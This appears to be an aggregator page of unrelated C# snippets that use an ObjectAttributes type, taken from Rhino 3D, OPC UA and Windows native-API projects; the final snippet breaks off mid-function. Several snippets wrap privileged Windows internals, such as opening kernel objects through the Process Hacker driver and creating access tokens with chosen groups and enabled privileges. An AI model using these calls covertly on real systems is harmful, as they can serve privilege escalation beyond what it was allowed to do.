public static MailslotHandle Create(
            FileAccess access,
            string fileName,
            ObjectFlags objectFlags,
            NativeHandle rootDirectory,
            int quota,
            int maxMessageSize,
            long readTimeout,
            FileCreateOptions createOptions
            )
        {
            ObjectAttributes oa = new ObjectAttributes(fileName, objectFlags, rootDirectory);
            IoStatusBlock isb;
            IntPtr handle;

            try
            {
                Win32.NtCreateMailslotFile(
                    out handle,
                    access,
                    ref oa,
                    out isb,
                    createOptions,
                    quota,
                    maxMessageSize,
                    ref readTimeout
                    ).ThrowIf();
            }
            finally
            {
                oa.Dispose();
            }

            return new MailslotHandle(handle, true);
        }
Example #2
0
        public DriverHandle(string name, ObjectFlags objectFlags, DirectoryHandle rootDirectory)
        {
            ObjectAttributes oa = new ObjectAttributes(name, objectFlags, rootDirectory);

            try
            {
                this.Handle = KProcessHacker.Instance.KphOpenDriver(oa).ToIntPtr();
            }
            finally
            {
                oa.Dispose();
            }
        }
        public static NamedPipeHandle Create(
            FileAccess access,
            string fileName,
            ObjectFlags objectFlags,
            FileHandle rootDirectory,
            FileShareMode shareMode,
            FileCreationDisposition creationDisposition,
            FileCreateOptions createOptions,
            PipeType type,
            PipeType readMode,
            PipeCompletionMode completionMode,
            int maximumInstances,
            int inboundQuota,
            int outboundQuota,
            long defaultTimeout
            )
        {
            NtStatus status;
            ObjectAttributes oa = new ObjectAttributes(fileName, objectFlags, rootDirectory);
            IoStatusBlock isb;
            IntPtr handle;

            try
            {
                if ((status = Win32.NtCreateNamedPipeFile(
                    out handle,
                    access,
                    ref oa,
                    out isb,
                    shareMode,
                    creationDisposition,
                    createOptions,
                    type,
                    readMode,
                    completionMode,
                    maximumInstances,
                    inboundQuota,
                    outboundQuota,
                    ref defaultTimeout
                    )) >= NtStatus.Error)
                    Win32.ThrowLastError(status);
            }
            finally
            {
                oa.Dispose();
            }

            return new NamedPipeHandle(handle, true);
        }
Example #4
0
        private int GetMaterialIndexFromAttributes(RhinoSceneHierarchyNode HierarchyNode, ObjectAttributes Attributes)
        {
            if (Attributes.MaterialSource == ObjectMaterialSource.MaterialFromObject)
            {
                return(Attributes.MaterialIndex);
            }
            else if (HierarchyNode.Info != null)
            {
                return(HierarchyNode.Info.MaterialIndex);
            }

            // Return default material index
            return(-1);
        }
Example #5
0
        public int KphOpenNamedObject(int access, ObjectAttributes objectAttributes)
        {
            byte* inData = stackalloc byte[0xc];
            int handle;

            *(int*)inData = (int)&handle;
            *(int*)(inData + 4) = access;
            *(int*)(inData + 8) = (int)&objectAttributes;

            _fileHandle.IoControl(CtlCode(Control.KphOpenNamedObject), inData, 0xc, null, 0);

            return handle;
        }
Example #6
0
        private void AddCurve(Curve curve, string layer)
        {
            ObjectAttributes oa = layerAttributes[layer];

            file.Objects.AddCurve(curve, oa);
        }
Example #7
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtMutant.Open(obj_attributes, Access));
 }
        /// <summary>
        /// Creates an DataType node in the address space.
        /// </summary>
        public NodeId CreateDataType(
            NodeId                            parentId,
            NodeId                            nodeId,
            QualifiedName                     browseName,
            LocalizedText                     displayName,
            LocalizedText                     description,
            uint                              writeMask,
            uint                              userWriteMask,
            bool                              isAbstract,
            IDictionary<QualifiedName,NodeId> encodings)
        {
             if (parentId == null)   throw new ArgumentNullException("parentId");
            if (browseName == null) throw new ArgumentNullException("browseName");

            try
            {
                m_lock.Enter();

                // check for null node id.
                if (NodeId.IsNull(nodeId))
                {
                    nodeId = CreateUniqueNodeId();
                }

                // check if node id exists.
                if (m_nodes.Exists(nodeId))
                {
                    throw ServiceResultException.Create(StatusCodes.BadNodeIdExists, "NodeId '{0}' already exists.", nodeId);
                }

                // find parent.
                IDataType parent = GetManagerHandle(parentId) as IDataType;

                if (parent == null)
                {
                    throw ServiceResultException.Create(StatusCodes.BadParentNodeIdInvalid, "Parent node '{0}' does not exist or is not an DataTypeNode.", parentId);
                }
                
                // validate reference.
                ValidateReference(parent, ReferenceTypeIds.HasSubtype, false, NodeClass.DataType);

                // validate browse name.
                if (QualifiedName.IsNull(browseName))
                {
                    throw ServiceResultException.Create(StatusCodes.BadBrowseNameInvalid, "BrowsName must not be empty.");
                }

                // create node.
                DataTypeNode node = new DataTypeNode();
                
                node.NodeId          = nodeId;
                node.NodeClass       = NodeClass.DataType;
                node.BrowseName      = browseName;
                node.DisplayName     = displayName;
                node.WriteMask     = writeMask;
                node.UserWriteMask = userWriteMask;
                node.Description     = description;
                node.IsAbstract      = isAbstract;

                // add reference from parent.
                AddReference(parent, ReferenceTypeIds.HasSubtype, false, node, true);

                // add node.
                AddNode(node);

                // add the encodings.
                if (encodings != null)
                {
                    List<QualifiedName> encodingNames = new List<QualifiedName>(encodings.Keys);

                    foreach (QualifiedName encodingName in encodingNames)
                    {
                        // assign a unique id to the encoding if none provided.
                        NodeId encodingId = encodings[encodingName];
                        
                        if (NodeId.IsNull(encodingId))
                        {
                            encodingId = CreateUniqueNodeId();
                        }

                        ObjectAttributes attributes = new ObjectAttributes();
                        attributes.SpecifiedAttributes = (uint)NodeAttributesMask.None;

                        // return the actual id.
                        encodings[encodingName] = CreateObject(
                            nodeId,
                            ReferenceTypeIds.HasEncoding,
                            encodingId,
                            encodingName,
                            attributes,
                            ObjectTypes.DataTypeEncodingType);
                    }
                }
                                
                // return the new node id.
                return node.NodeId;
            }
            finally
            {
                m_lock.Exit();
            } 
        }
Example #9
0
 public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags,
     IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused);
Example #10
0
 static extern int NtOpenKeyEx(
     out SafeRegistryHandle KeyHandle,
     GenericAccessRights DesiredAccess,
     [In] ObjectAttributes ObjectAttributes,
     int OpenOptions
     );
Example #11
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected abstract object CreateObject(ObjectAttributes obj_attributes);
Example #12
0
 internal Decals(ObjectAttributes parent)
 {
     m_parent_attributes = parent;
 }
Example #13
0
        internal DecalEnumerator(ObjectAttributes attributes)
        {
            var pointer = attributes.NonConstPointer();

            m_decal_iterator = UnsafeNativeMethods.Rdk_Decals_NewDecalIteratorForObjectAttributes(pointer);
        }
Example #14
0
        static RegistryKey OpenKey(RegistryKey base_key, string path, bool writable = false, bool throw_on_error = true)
        {
            IntPtr root_key = base_key != null ? base_key.Handle.DangerousGetHandle() : IntPtr.Zero;
              using (ObjectAttributes KeyName = new ObjectAttributes(path, AttributeFlags.CaseInsensitive | AttributeFlags.OpenLink, root_key))
              {
            SafeRegistryHandle keyHandle;
            GenericAccessRights desired_access = GenericAccessRights.GenericRead;
            if (writable)
            {
              desired_access |= GenericAccessRights.GenericWrite;
            }

            int status = NtOpenKeyEx(out keyHandle, desired_access, KeyName, 0);
            if (throw_on_error)
            {
              StatusToNtException(status);
            }

            if (status == 0)
              return RegistryKey.FromHandle(keyHandle);

            return null;
              }
        }
Example #15
0
 public void Awake()
 {
     spriteHandler    = GetComponentInChildren <SpriteHandler>();
     registerObject   = GetComponent <RegisterObject>();
     objectAttributes = GetComponent <ObjectAttributes>();
 }
Example #16
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtObject.OpenWithType(TypeName, Path, Root, Access));
 }
Example #17
0
        public int KphOpenDriver(ObjectAttributes objectAttributes)
        {
            byte* inData = stackalloc byte[8];
            int driverHandle;

            *(int*)inData = (int)&driverHandle;
            *(int*)(inData + 4) = (int)&objectAttributes;

            _fileHandle.IoControl(CtlCode(Control.KphOpenDriver), inData, 8, null, 0);

            return driverHandle;
        }
Example #18
0
        /// <summary>
        /// Method to create an object from a set of object attributes.
        /// </summary>
        /// <param name="obj_attributes">The object attributes to create/open from.</param>
        /// <returns>The newly created object.</returns>
        protected override object CreateObject(ObjectAttributes obj_attributes)
        {
            string type_name = string.IsNullOrWhiteSpace(TypeName) ? null : TypeName;

            return(NtObject.OpenWithType(type_name, Path, Root, Access));
        }
Example #19
0
        /// <summary cref="NodeSource.CreateNode" />
        protected override void CreateNode(NodeId parentId, NodeId referenceTypeId)
        {
            CheckNodeManagerState();

            ObjectAttributes attributes = new ObjectAttributes();

            attributes.SpecifiedAttributes = (uint)NodeAttributesMask.DisplayName;
            attributes.DisplayName         = DisplayName;

            NodeManager.CreateObject(
                parentId,
                referenceTypeId,
                NodeId,
                BrowseName,
                attributes,
                TypeDefinitionId);
        }
Example #20
0
 static extern int NtOpenSymbolicLinkObject(
     out IntPtr LinkHandle,
     GenericAccessRights DesiredAccess,
     ObjectAttributes ObjectAttributes
     );
Example #21
0
        public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token)
        {
            IntPtr new_token;

              using (ObjectAttributes obja = new ObjectAttributes(null))
              {
            StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(),
              GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token));
            return new SafeKernelObjectHandle(new_token, true);
              }
        }
Example #22
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtToken.Create(Access, obj_attributes, TokenType, AuthenticationId, ExpirationTime.ToFileTimeUtc(), new UserGroup(User, GroupAttributes.Owner),
                           GetGroups(), Privileges.Select(p => new TokenPrivilege(p, PrivilegeAttributes.EnabledByDefault | PrivilegeAttributes.Enabled)),
                           User, User, DefaultAcl, "NT.NET"));
 }
Example #23
0
        public bool BakeGeometry(RhinoDoc doc, ObjectAttributes baking_attributes, out Guid obj_guid)
        {
            if (Value != null)
            {
                var att = baking_attributes.Duplicate();

                var str_id = this.Id > 0 ? Id.ToString() : "0"; // string.Empty;

                string fix_literal = this.FixLiteral
                                     .Replace("PP", "PXPYPZ")
                                     .Replace("MM", "MXMYMZ");

                if (fix_literal == "F")
                {
                    fix_literal = "PXPYPZMXMYMZ";
                }

                // set user strings
                att.SetUserString("SOF_OBJ_TYPE", "SLN");
                att.SetUserString("SOF_ID", str_id);

                if (this.GroupId > 0)
                {
                    att.SetUserString("SOF_GRP", this.GroupId.ToString());
                }
                if (this.SectionIdStart > 0)
                {
                    att.SetUserString("SOF_STYP", "B");
                    att.SetUserString("SOF_STYP2", "E");
                    att.SetUserString("SOF_SNO", SectionIdStart.ToString());

                    if (this.SectionIdEnd > 0)
                    {
                        att.SetUserString("SOF_SNOE", SectionIdEnd.ToString());
                    }
                    else
                    {
                        att.SetUserString("SOF_SNOE", "SOF_PROP_COMBO_NONE");
                    }
                }
                att.SetUserString("SOF_SDIV", "0.0");

                if (DirectionLocalZ.Length > 1.0E-6)
                {
                    att.SetUserString("SOF_DRX", DirectionLocalZ.X.ToString("F6"));
                    att.SetUserString("SOF_DRY", DirectionLocalZ.Y.ToString("F6"));
                    att.SetUserString("SOF_DRZ", DirectionLocalZ.Z.ToString("F6"));
                }

                if (string.IsNullOrEmpty(fix_literal) == false)
                {
                    att.SetUserString("SOF_FIX", fix_literal);
                }

                obj_guid = doc.Objects.AddCurve(Value, att);
            }
            else
            {
                obj_guid = new Guid();
            }
            return(true);
        }
Example #24
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtSymbolicLink.Open(obj_attributes, Access));
 }
Example #25
0
        public void Write(string path)
        {
            if (!System.IO.Directory.Exists(path))
            {
                throw new Exception("Path does not exist.");
            }

            if (g == null || beam == null)
            {
                throw new Exception("Must add Glulam and Beam geometry!");
            }

            Rhino.FileIO.File3dm file = new Rhino.FileIO.File3dm();

            // Setup layers
            Layer lRoot = new Layer();

            lRoot.Name = "tas";
            file.AllLayers.Add(lRoot);
            lRoot = file.AllLayers.Last();

            Layer lNC = new Layer();

            lNC.Name      = "NC";
            lNC.IsVisible = false;
            lNC.IsLocked  = true;
            file.AllLayers.Add(lNC);
            lNC = file.AllLayers.Last();
            lNC.ParentLayerId = lRoot.Id;

            Layer lBL = new Layer();

            lBL.Name     = "BL";
            lBL.IsLocked = true;
            file.AllLayers.Add(lBL);
            lBL = file.AllLayers.Last();
            lBL.ParentLayerId = lRoot.Id;

            Layer lBE = new Layer();

            lBE.Name     = "BE";
            lBE.IsLocked = true;
            file.AllLayers.Add(lBE);
            lBE = file.AllLayers.Last();
            lBE.ParentLayerId = lRoot.Id;

            Layer lBL_Centreline = new Layer();

            lBL_Centreline.Name          = "BL_Centreline";
            lBL_Centreline.Index         = 1;
            lBL_Centreline.Color         = Color.FromArgb(0, 0, 255);
            lBL_Centreline.ParentLayerId = lBL.Id;
            file.AllLayers.Add(lBL_Centreline);
            lBL_Centreline = file.AllLayers.Last();

            Layer lBL_Geometry = new Layer();

            lBL_Geometry.Name          = "BL_Geometry";
            lBL_Geometry.Color         = Color.FromArgb(125, 200, 125);
            lBL_Geometry.ParentLayerId = lBL.Id;
            file.AllLayers.Add(lBL_Geometry);
            lBL_Geometry = file.AllLayers.Last();

            Layer lBL_Safety = new Layer();

            lBL_Safety.Name          = "BL_Safety";
            lBL_Safety.IsVisible     = false;
            lBL_Safety.Color         = Color.FromArgb(200, 200, 200);
            lBL_Safety.ParentLayerId = lBL.Id;
            file.AllLayers.Add(lBL_Safety);
            lBL_Safety = file.AllLayers.Last();

            Layer lBE_Geometry = new Layer();

            lBE_Geometry.Name          = "BE_Geometry";
            lBE_Geometry.Color         = Color.FromArgb(100, 100, 100);
            lBE_Geometry.ParentLayerId = lBE.Id;
            file.AllLayers.Add(lBE_Geometry);
            lBE_Geometry = file.AllLayers.Last();

            Layer lNC_Surface = new Layer();

            lNC_Surface.Name          = "NC_Surface";
            lNC_Surface.Color         = Color.FromArgb(255, 0, 255);
            lNC_Surface.ParentLayerId = lNC.Id;
            file.AllLayers.Add(lNC_Surface);
            lNC_Surface = file.AllLayers.Last();

            Layer lNC_Normals = new Layer();

            lNC_Normals.Name          = "NC_SurfaceNormals";
            lNC_Normals.Color         = Color.FromArgb(255, 0, 150);
            lNC_Normals.ParentLayerId = lNC.Id;
            file.AllLayers.Add(lNC_Normals);
            lNC_Normals = file.AllLayers.Last();

            Layer lNC_GlueFace = new Layer();

            lNC_GlueFace.Name          = "NC_GlueFace";
            lNC_GlueFace.Color         = Color.FromArgb(255, 0, 255);
            lNC_GlueFace.ParentLayerId = lNC.Id;
            file.AllLayers.Add(lNC_GlueFace);
            lNC_GlueFace = file.AllLayers.Last();

            Layer lNC_Joints = new Layer();

            lNC_Joints.Name          = "NC_Joints";
            lNC_Joints.Color         = Color.FromArgb(255, 0, 255);
            lNC_Joints.ParentLayerId = lNC.Id;
            file.AllLayers.Add(lNC_Joints);
            lNC_Joints = file.AllLayers.Last();

            Layer lNC_Drill = new Layer();

            lNC_Drill.Name          = "NC_Drill";
            lNC_Drill.Color         = Color.FromArgb(255, 0, 0);
            lNC_Drill.ParentLayerId = lNC.Id;
            file.AllLayers.Add(lNC_Drill);
            lNC_Drill = file.AllLayers.Last();

            // Add objects

            ObjectAttributes oa;

            oa = new ObjectAttributes();

            oa.LayerIndex = lBL_Centreline.Index;
            oa.Name       = "Glulam_Centreline";
            file.Objects.AddCurve(g.Centreline, oa);

            oa.LayerIndex = lBL_Geometry.Index;
            oa.UserDictionary.Set("LamWidth", g.Data.LamWidth);
            oa.UserDictionary.Set("LamHeight", g.Data.LamHeight);
            oa.UserDictionary.Set("NumWidth", g.Data.NumWidth);
            oa.UserDictionary.Set("NumHeight", g.Data.NumHeight);

            oa.Name = "Glulam_BoundingMesh";
            Guid blank_id = file.Objects.AddBrep(g.GetBoundingBrep(), oa);

            oa.LayerIndex = lBE_Geometry.Index;
            oa.UserDictionary.Clear();
            oa.Name = "Beam_Geometry";
            file.Objects.AddBrep(beam, oa);

            oa.LayerIndex = lBL_Safety.Index;
            oa.Name       = "Glulam_Safety";

            Brep blank_safety = g.GetBoundingBrep(50.0);

            if (blank_safety != null)
            {
                file.Objects.AddBrep(blank_safety, oa);
            }


            for (int i = 0; i < Cuts_Surface.Count; ++i)
            {
                oa.LayerIndex = lNC_Surface.Index;
                oa.Name       = string.Format("Machining_Surface_{0:00}", i);
                file.Objects.AddBrep(Cuts_Surface[i], oa);

                oa.LayerIndex = lNC_Normals.Index;
                oa.Name       = string.Format("Machining_Surface_Normal_{0:00}", i);
                BrepFace bf     = Cuts_Surface[i].Faces[0];
                Vector3d normal = bf.NormalAt(bf.Domain(0).Mid, bf.Domain(1).Mid);
                Point3d  point  = bf.PointAt(bf.Domain(0).Mid, bf.Domain(1).Mid);

                file.Objects.AddTextDot(string.Format("NC_Srf_{0:00}", i), point + normal * 100.0, oa);
                file.Objects.AddLine(new Line(point, point + normal * 100.0), oa);
            }

            for (int i = 0; i < Cuts_GlueSurface.Count; ++i)
            {
                oa.LayerIndex = lNC_Surface.Index;
                oa.Name       = string.Format("Glue_Surface_{0:00}", i);
                file.Objects.AddBrep(Cuts_GlueSurface[i], oa);

                oa.LayerIndex = lNC_Normals.Index;
                oa.Name       = string.Format("Glue_Surface_Normal_{0:00}", i);
                BrepFace bf     = Cuts_GlueSurface[i].Faces[0];
                Vector3d normal = bf.NormalAt(bf.Domain(0).Mid, bf.Domain(1).Mid);
                Point3d  point  = bf.PointAt(bf.Domain(0).Mid, bf.Domain(1).Mid);

                file.Objects.AddTextDot(string.Format("NC_Glu_{0:00}", i), point + normal * 100.0, oa);
                file.Objects.AddLine(new Line(point, point + normal * 100.0), oa);
            }

            for (int i = 0; i < Cuts_Joint.Count; ++i)
            {
                oa.LayerIndex = lNC_Joints.Index;
                oa.Name       = string.Format("Joint_Surface_{0:00}", i);
                file.Objects.AddBrep(Cuts_Joint[i], oa);

                oa.LayerIndex = lNC_Normals.Index;
                oa.Name       = string.Format("Joint_Surface_Normal_{0:00}", i);
                BrepFace bf     = Cuts_Joint[i].Faces[0];
                Vector3d normal = bf.NormalAt(bf.Domain(0).Mid, bf.Domain(1).Mid);
                Point3d  point  = bf.PointAt(bf.Domain(0).Mid, bf.Domain(1).Mid);

                file.Objects.AddTextDot(string.Format("NC_Jnt_{0:00}", i), point + normal * 100.0, oa);
                file.Objects.AddLine(new Line(point, point + normal * 100.0), oa);
            }

            for (int i = 0; i < Drills_Joint.Count; ++i)
            {
                oa.LayerIndex = lNC_Drill.Index;
                oa.Name       = string.Format("Joint_Drill_{0:00}", i);

                Vector3d dir = Drills_Joint[i].Direction;
                dir.Unitize();

                file.Objects.AddTextDot(string.Format("NC_Drill_{0:00}", i), Drills_Joint[i].From - dir * 40.0, oa);
                file.Objects.AddLine(Drills_Joint[i], oa);
            }

            // Write notes and data
            string notes = "";

            notes += "This file was created with tasTools (Tom Svilans, 2017).\n\n";
            notes += "Blank data:\n\n";
            notes += string.Format("LamWidth\n{0}\n", g.Data.LamWidth);
            notes += string.Format("LamHeight\n{0}\n", g.Data.LamHeight);
            notes += string.Format("NumWidth\n{0}\n", g.Data.NumWidth);
            notes += string.Format("NumHeight\n{0}\n", g.Data.NumHeight);
            notes += string.Format("Length\n{0}\n", g.Centreline.GetLength());

            file.Notes.Notes = notes;
            file.Settings.ModelUnitSystem = UnitSystem.Millimeters;

            file.Write(path + "\\" + Name + ".3dm", 5);
        }
Example #26
0
 static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);
Example #27
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtMutant.Create(obj_attributes, InitialOwner, Access));
 }
Example #28
0
 static extern int NtCreateSymbolicLinkObject(
     out IntPtr LinkHandle,
     GenericAccessRights DesiredAccess,
     ObjectAttributes ObjectAttributes,
     UnicodeString DestinationName
     );
Example #29
0
 private static extern int NtCreateFile(ref IntPtr fileHandle, int desiredAccess, ref ObjectAttributes objectAttributes, ref IoStatusBlock ioStatusBlock, int allocationSize, int fileAttribs, int sharedAccess, int creationDisposition, int createOptions, int eaBuffer,
                                        int eaLength);
 /// <summary>
 /// Adds an instance definition to the instance definition table.
 /// </summary>
 /// <param name="name">The definition name.</param>
 /// <param name="description">The definition description.</param>
 /// <param name="basePoint">A base point.</param>
 /// <param name="geometry">An element.</param>
 /// <param name="attributes">An attribute.</param>
 /// <returns>
 /// &gt;=0  index of instance definition in the instance definition table. -1 on failure.
 /// </returns>
 public int Add(string name, string description, Point3d basePoint, GeometryBase geometry, ObjectAttributes attributes)
 {
     return(Add(name, description, basePoint, new GeometryBase[] { geometry }, new ObjectAttributes[] { attributes }));
 }
Example #31
0
 public extern static ReactElement Object(ObjectAttributes properties, params ReactElementOrText[] children);
 public bool ModifyGeometry(int idefIndex, GeometryBase newGeometry, ObjectAttributes newAttributes)
 {
     return(ModifyGeometry(idefIndex, new GeometryBase[] { newGeometry }, new ObjectAttributes[] { newAttributes }));
 }
Example #33
0
        static RegistryKey LoadKey(string path, bool read_only)
        {
            string reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B");
              ObjectAttributes KeyName = new ObjectAttributes(reg_name);
              ObjectAttributes FileName = new ObjectAttributes(@"\??\" + path);
              SafeRegistryHandle keyHandle;
              LoadKeyFlags flags = LoadKeyFlags.AppKey;
              if (read_only)
            flags |= LoadKeyFlags.ReadOnly;

              int status = NtLoadKeyEx(KeyName,
            FileName, flags, IntPtr.Zero,
            IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0);
              if (status != 0)
            return null;
              return RegistryKey.FromHandle(keyHandle);
        }
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtPartition.Create(obj_attributes, Access, ParentPartition, PreferredNode));
 }
Example #35
0
        public int KphOpenDirectoryObject(DirectoryAccess access, ObjectAttributes objectAttributes)
        {
            byte* inData = stackalloc byte[0xc];
            int directoryObjectHandle;

            *(int*)inData = (int)&directoryObjectHandle;
            *(int*)(inData + 0x4) = (int)access;
            *(int*)(inData + 0x8) = (int)&objectAttributes;

            _fileHandle.IoControl(CtlCode(Control.KphOpenDirectoryObject), inData, 0xc, null, 0);

            return directoryObjectHandle;
        }
Example #36
0
        protected override Result RunCommand(RhinoDoc doc, RunMode mode)
        {
            // TODO: complete command.
            //DijkstraGraph graph = new DijkstraGraph(50);
            MyRhino5rs11project8PlugIn p = MyRhino5rs11project8PlugIn.Instance;
            Mesh my_mesh = p.painted_object_;

            int vertex_list_count = p.graph.GetVertexListCount();

            RhinoApp.WriteLine("the total number of vertices is {0}", vertex_list_count);

            GetPoint gp_start = new GetPoint();

            gp_start.SetCommandPrompt("Get the begin point on mesh: ");
            gp_start.Constrain(my_mesh, false);
            gp_start.Get();
            if (gp_start.CommandResult() != Result.Success)
            {
                return(gp_start.CommandResult());
            }

            Point3d p_start = gp_start.Point();

            GetPoint gp_end = new GetPoint();

            gp_end.SetCommandPrompt("Get the end point on mesh: ");
            gp_end.Constrain(my_mesh, false);
            gp_end.Get();
            if (gp_end.CommandResult() != Result.Success)
            {
                return(gp_end.CommandResult());
            }

            Point3d p_end = gp_end.Point();

            int begin_num = p.graph.NearVertexOnMesh(my_mesh.ClosestMeshPoint(p_start, 0).FaceIndex);
            int end_num   = p.graph.NearVertexOnMesh(my_mesh.ClosestMeshPoint(p_end, 0).FaceIndex);

            /*
             * GetInteger g_begin = new GetInteger();
             * g_begin.SetCommandPrompt("Type in the number of beginning vertex");
             * g_begin.AcceptNumber(true, true);
             * g_begin.Get();
             * int begin_num = g_begin.Number();
             * GetInteger g_end = new GetInteger();
             * g_end.SetCommandPrompt("Type in the number of the ending vertex");
             * g_end.AcceptNumber(true, true);
             * g_end.Get();
             * int end_num = g_end.Number();
             */
            NurbsCurve d_path = p.graph.GetDijkstraPath(begin_num, end_num, true).path;


            ObjectAttributes my_attributes = new ObjectAttributes();

            my_attributes.ObjectColor      = Color.Yellow;
            my_attributes.ColorSource      = ObjectColorSource.ColorFromObject;
            my_attributes.PlotWeightSource = ObjectPlotWeightSource.PlotWeightFromObject;
            my_attributes.PlotWeight       = 2.0;

            doc.Objects.AddCurve(d_path, my_attributes);
            doc.Objects.AddPoint(my_mesh.ClosestMeshPoint(p_start, 0).Point);
            doc.Objects.AddPoint(my_mesh.ClosestMeshPoint(p_end, 0).Point);

            doc.Views.Redraw();
            return(Result.Success);
        }
Example #37
0
 static IList <GeometryObject> ImportObject(GeometryBase geometry, ObjectAttributes attributes, double scaleFactor)
 {
     return(geometry.ToHost(scaleFactor).ToList());
 }
Example #38
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtFile.Open(obj_attributes, Access, ShareMode, Options));
 }
        /// <summary>
        /// Creates an Object node in the address space.
        /// </summary>
        public NodeId CreateObject(
            NodeId           parentId,
            NodeId           referenceTypeId,
            NodeId           nodeId,
            QualifiedName    browseName,
            ObjectAttributes attributes,
            ExpandedNodeId   typeDefinitionId)
        {
            try
            {
                m_lock.Enter();

                // validate browse name.
                if (QualifiedName.IsNull(browseName))
                {
                    throw ServiceResultException.Create(StatusCodes.BadBrowseNameInvalid, "BrowsName must not be empty.");
                }

                // check for null node id.
                if (NodeId.IsNull(nodeId))
                {
                    nodeId = CreateUniqueNodeId();
                }

                // check if node id exists.
                if (m_nodes.Exists(nodeId))
                {
                    throw ServiceResultException.Create(StatusCodes.BadNodeIdExists, "NodeId '{0}' already exists.", nodeId);
                }

                // find parent.
                ILocalNode parent = null;

                if (!NodeId.IsNull(parentId))
                {
                    parent = GetManagerHandle(parentId) as ILocalNode;

                    if (parent == null)
                    {
                        throw ServiceResultException.Create(StatusCodes.BadParentNodeIdInvalid, "Parent node '{0}' does not exist.", parentId);
                    }

                    // validate reference.
                    ValidateReference(parent, referenceTypeId, false, NodeClass.Object);
                }

                // find type definition.
                if (NodeId.IsNull(typeDefinitionId))
                {
                    typeDefinitionId = ObjectTypes.BaseObjectType;
                }

                IObjectType objectType = GetManagerHandle(typeDefinitionId) as IObjectType;

                if (objectType == null)
                {
                    throw ServiceResultException.Create(StatusCodes.BadTypeDefinitionInvalid, "Type definition '{0}' does not exist or is not an ObjectType.", typeDefinitionId);
                }                               

                // verify instance declarations.
                ILocalNode instanceDeclaration = FindInstanceDeclaration(parent, browseName);

                if (instanceDeclaration != null)
                {
                    if (instanceDeclaration.NodeClass != NodeClass.Object)
                    {                        
                        throw ServiceResultException.Create(
                            StatusCodes.BadNodeClassInvalid, 
                            "The type model requires that node with a browse name of {0} have a NodeClass of {1}.", 
                            browseName,
                            instanceDeclaration.NodeClass);
                    }

                    if (!m_server.TypeTree.IsTypeOf(typeDefinitionId, instanceDeclaration.TypeDefinitionId))
                    {
                        throw ServiceResultException.Create(
                            StatusCodes.BadNodeClassInvalid, 
                            "The type model requires that node have a type definition of {0}.", 
                            instanceDeclaration.TypeDefinitionId);
                    }
                }

                // get the variable.
                IObject objectd = instanceDeclaration as IObject;

                // create node.
                ObjectNode node = new ObjectNode();

                // set defaults from type definition.
                node.NodeId        = nodeId;
                node.NodeClass     = NodeClass.Object;
                node.BrowseName    = browseName;
                node.DisplayName   = browseName.Name;
                node.Description   = null;
                node.WriteMask     = 0;
                node.UserWriteMask = 0;
                node.EventNotifier = EventNotifiers.None;

                // set defaults from instance declaration.
                if (objectd != null)
                {
                    node.DisplayName   = objectd.DisplayName;
                    node.Description   = objectd.Description;
                    node.WriteMask     = (uint)objectd.WriteMask;
                    node.UserWriteMask = (uint)objectd.UserWriteMask;
                    node.EventNotifier = objectd.EventNotifier;
                }            
                      
                // update with attributes provided.
                UpdateAttributes(node, attributes);

                // EventNotifier    
                if (attributes != null && (attributes.SpecifiedAttributes & (uint)NodeAttributesMask.EventNotifier) != 0)
                {
                    node.EventNotifier = attributes.EventNotifier;
                }

                // add references with parent.
                if (parent != null)
                {
                    AddReference(parent, referenceTypeId, false, node, true);                
                }
                
                // add type definition.
                AddReference(node, ReferenceTypeIds.HasTypeDefinition, false, objectType, false);     

                // add to address space.
                AddNode(node);
                                
                // apply modelling rules.
                NodeFactory factory = new NodeFactory(m_nodes);

                IList<ILocalNode> nodesToAdd = factory.ApplyModellingRules(node, objectType.NodeId, ref m_lastId, 1);
                
                // add the nodes.
                foreach (Node nodeToAdd in nodesToAdd)
                {               
                    AddNode(nodeToAdd);
                }
                
                // find the top level parent that must be used to apply the modelling rules.
                if (instanceDeclaration != null)
                {
                    ILocalNode toplevelParent = FindTopLevelModelParent(parent);
                    
                    // add modelling rule.
                    AddReference(node, ReferenceTypeIds.HasModelParent, false, parent, true);     
                                    
                    // update the hierarchy.
                    nodesToAdd = factory.ApplyModellingRules(toplevelParent, (NodeId)toplevelParent.TypeDefinitionId, ref m_lastId, 1);
                    
